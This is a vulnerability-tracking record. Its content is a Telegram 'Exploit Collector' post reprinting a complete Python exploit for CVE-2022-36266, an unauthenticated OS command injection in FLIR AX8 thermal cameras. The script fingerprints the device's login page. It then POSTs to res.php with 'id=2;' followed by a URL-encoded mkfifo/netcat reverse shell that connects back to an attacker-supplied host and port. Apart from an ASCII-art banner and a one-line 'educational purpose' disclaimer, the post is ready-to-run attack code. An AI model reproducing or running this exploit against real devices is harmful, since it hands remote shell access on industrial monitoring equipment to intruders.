{"uuid": "f8688ca5-0379-4b9f-9b89-5a2bdfca1e5b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-36266", "type": "seen", "source": "https://t.me/hacking_Attack/66025", "content": "Exploit Collector\nFLIX AX8 1.46.16 Remote Command Execution\n\nhttps://3.bp.blogspot.com/-S3Qyj_CQLZk/WWlvO05KSCI/AAAAAAAAIM0/1UOPsv562Y4pHjCru7b9m-kScCR1bHauwCLcBGAs/s1600/h27.png FLIR AX8 versions 1.46.16 and below unauthenticated remote OS command injection exploit.\n\nSHA-256 | c15429c7636538e3c66b41a8e08cead26806777a1c4d976fe977decddd2d2157Download # -*- coding: utf-8 -*-\n\n# Exploit Title: FLIR AX8 Unauthenticated OS Command Injection\n# Date: 8/19/2022\n# Exploit Author: Samy Younsi Naqwada (https://samy.link)\n# Vendor Homepage: https://www.flir.com/\n# Software Link: https://www.flir.com/products/ax8-automation/\n# PoC: https://www.youtube.com/watch?v=dh0_rfAIWok\n# Version: 1.46.16 and under.\n# Tested on: FLIR AX8 version 1.46.16 (Ubuntu)\n# CVE : CVE-2022-36266\n\nfrom __future__ import print_function, unicode_literals\nfrom bs4 import BeautifulSoup\nimport argparse\nimport requests\nimport json\nimport urllib3\nurllib3.disable_warnings()\n\ndef banner():\nflirLogo = \"\"\" \n\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2557     \u2588\u2588\u2557\u2588\u2588\u2588\u2588\u2588\u2588\u2557 \n\u2588\u2588\u2554\u2550\u2550\u2550\u2550\u255d\u2588\u2588\u2551     \u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2557\n\u2588\u2588\u2588\u2588\u2588\u2557  \u2588\u2588\u2551     \u2588\u2588\u2551\u2588\u2588\u2588\u2588\u2588\u2588\u2554\u255d\n\u2588\u2588\u2554\u2550\u2550\u255d  \u2588\u2588\u2551     \u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2557\n\u2588\u2588\u2551     \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2551\u2588\u2588\u2551  \u2588\u2588\u2551 \n\u255a\u2550\u255d     \u255a\u2550\u2550\u2550\u2550\u2550\u2550\u255d\u255a\u2550\u255d\u255a\u2550\u255d  \u255a\u2550\u255d\n.---------------------. \n\u2588\u2588\u2588\u2588\u2588\u2557 \u2588\u2588\u2557  \u2588\u2588\u2557 \u2588\u2588\u2588\u2588\u2588\u2557  /--'--.------.--------/| \n\u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2557\u255a\u2588\u2588\u2557\u2588\u2588\u2554\u255d\u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2557 |Say :) |__Ll__| [==] || \n\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2551 \u255a\u2588\u2588\u2588\u2554\u255d \u255a\u2588\u2588\u2588\u2588\u2588\u2554\u255d |cheese!| .--. | '''' || \n\u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2551 \u2588\u2588\u2554\u2588\u2588\u2557 \u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2557 |       |( () )|      || \n\u2588\u2588\u2551  \u2588\u2588\u2551\u2588\u2588\u2554\u255d \u2588\u2588\u2557\u255a\u2588\u2588\u2588\u2588\u2588\u2554\u255d |       | `--` |      |/ \n\u255a\u2550\u255d  \u255a\u2550\u255d\u255a\u2550\u255d  \u255a\u2550\u255d \u255a\u2550\u2550\u2550\u2550\u255d  `-------`------`------` \n\n\\033[1;92mSamy Younsi (Necrum Security Labs)\\033[1;m \n\\033[1;91mFLIR AX8 Unauthenticated OS Command Injection\\033[1;m \nFOR EDUCATIONAL PURPOSE ONLY. \n\"\"\"\nreturn print('\\033[1;94m{}\\033[1;m'.format(flirLogo))\n\ndef pingWebInterface(RHOST, RPORT):\nurl = 'http://{}:{}/login/'.format(RHOST, RPORT)\nresponse = requests.get(url, allow_redirects=False, verify=False, timeout=60)\ntry:\nif response.status_code != 200:\nprint('[!] \\033[1;91mError: FLIR AX8 device web interface is not reachable. Make sure the specified IP is correct.\\033[1;m')\nexit()\nsoup = BeautifulSoup(response.content.decode('utf-8'), 'html.parser')\nversion = soup.find('p', id = 'login-title').string\nprint('[INFO] {} detected.'.format(version))\nexcept:\nprint('[ERROR] Can\\'t grab the device version...')\ndef execReverseShell(RHOST, RPORT, LHOST, LPORT):\nurl = 'http://{}:{}/res.php'.format(RHOST, RPORT)\npayload = 'rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7Csh%20-i%202%3E%261%7Cnc%20{}%20{}%20%3E%2Ftmp%2Ff'.format(LHOST, LPORT)\ndata = 'action=alarm&id=2;{}'.format(payload)\n\nheaders = {\n'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',\n}\n\ntry:\nprint('[INFO] Executing reverse shell...')\nresponse = requests.post(url, headers=headers, data=data, allow_redirects=False, verify=False)\nprint('Reverse shell successfully executed. {}:{}'.format(LHOST, LPORT))\nreturn\nexcept Exception as e:\nprint('Reverse shell failed. Make sure the FLIR AX8 device can reach the host {}:{}').format(LHOST, LPORT)\nreturn False\ndef main():\nbanner()\nargs = parser.parse_args()\npingWebInterface(args.RHOST, args.RPORT)\nexecReverseShell(args.RHOST, args.RPORT, args.LHOST, args.LPORT)\nif __name__ == \"__main__\":\nparser = argparse.ArgumentParser(description='Script PoC that exploit an unauthenticated remote command injection on FLIR AX8 devices.', add_help=False)\nparser.add_argument('--RHOST', help=\"Refers to the IP of the target machine. (FLIR AX8 device)\", type=str, required=True)\nparser.add_argument('--RPORT', help=\"Refers to the open port of the target machine.\", type=int, required=True)\nparser.add_argument('--LHOST', help=\"Refers to the IP of your machine.\", type=str, required=True)\nparser.add_argument('--LPORT', help=\"Refers to the open port of your machine.\", type=int, required=True)\nmain() Source:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:01:25.908906Z"}